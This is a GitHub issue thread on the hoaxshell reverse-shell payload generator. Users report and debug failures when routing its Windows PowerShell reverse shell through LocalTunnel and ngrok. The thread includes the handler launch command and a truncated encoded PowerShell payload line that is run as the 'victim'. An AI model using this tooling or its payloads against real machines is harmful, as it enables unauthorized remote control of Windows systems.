search

t3l3machus / hoaxshell

A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.
BSD 2-Clause "Simplified" License
3.03k stars 480 forks source link

Localtunnel not establishing connection #32

Open Skylark055 opened 2 years ago

Skylark055 commented 2 years ago

Hello, I've been recently playing around with hoaxshell and trying to make its connection go through localtunnel, instead of running it on a local network. I managed to make it work with Ngok, but this has a limit of 20 connections per minute, which is easily achieved by running a few commands. With localtunnel, no errors arise when running the payload in PowerShell, but no connection is found, nothing happens. This happened both connected to the same local network and two separate ones.

Here are the commands I ran on Linux: cd hoaxshell/ sudo python3 hoaxshell.py -lt

On windows powershell: powershell -e JABzAD0AJwBlAGEAcwB [...] fQA=

Am I doing this correctly? image

u1bh4k3d commented 2 years ago

LocalTunnel gives me errors too.

image

Skylark055 commented 2 years ago

image @juicyhacker this happens for me some 30 sec after terminating the session, but never before that

u1bh4k3d commented 2 years ago

@Skylark055 yeah that's normal because you close the server, mine is when executing the payload as "victim".

Skylark055 commented 2 years ago

@Skylark055 yeah that's normal because you close the server, mine is when executing the payload as "victim".

Exactly, weird it does that for you immediately. Strange also that mine seemingly has a connection without a shell

u1bh4k3d commented 2 years ago

@Skylark055 yeah that's normal because you close the server, mine is when executing the payload as "victim".

Exactly, weird it does that for you immediately. Strange also that mine seemingly has a connection without a shell

@Skylark055 The network I was on was refusing connection with LocalTunnel, now on my own network I am having the same issue as you.

davidcenoura commented 2 years ago

Dont work with LocalTunnel and ngrok, please fix

Skylark055 commented 2 years ago

@Skylark055 yeah that's normal because you close the server, mine is when executing the payload as "victim".

Exactly, weird it does that for you immediately. Strange also that mine seemingly has a connection without a shell

@Skylark055 The network I was on was refusing connection with LocalTunnel, now on my own network I am having the same issue as you.

That makes sense. Also @davidcenoura Ngrok works fine! It's just rate limited to 20 connections per minute due to it being a free plan, which is only resolved by paying for their services. There is nothing wrong with it, only localtunnel is broken right now for us.

t3l3machus commented 2 years ago

@Skylark055 @juicyhacker please, update hoaxshell and try localtunnel again. Let me know if the issue is resolved.

Skylark055 commented 2 years ago

@Skylark055 @juicyhacker please, update hoaxshell and try localtunnel again. Let me know if the issue is resolved.

Hey, The update fixed one thing: The reverse shell now can be established! As seen with the screenshot attached though, it only executes one command until it breaks. It ended up killing my internet on my windows machine, in effect terminating the shell. Here are some screenshots: image image

Had to restart my windows machine to get any internet access back

EDIT: image Sometimes the shell just hangs, stabilizing the shell but no command prompt after a minute. This or an entered command freezes when entered image Mostly because of this. A maximum of one command gets through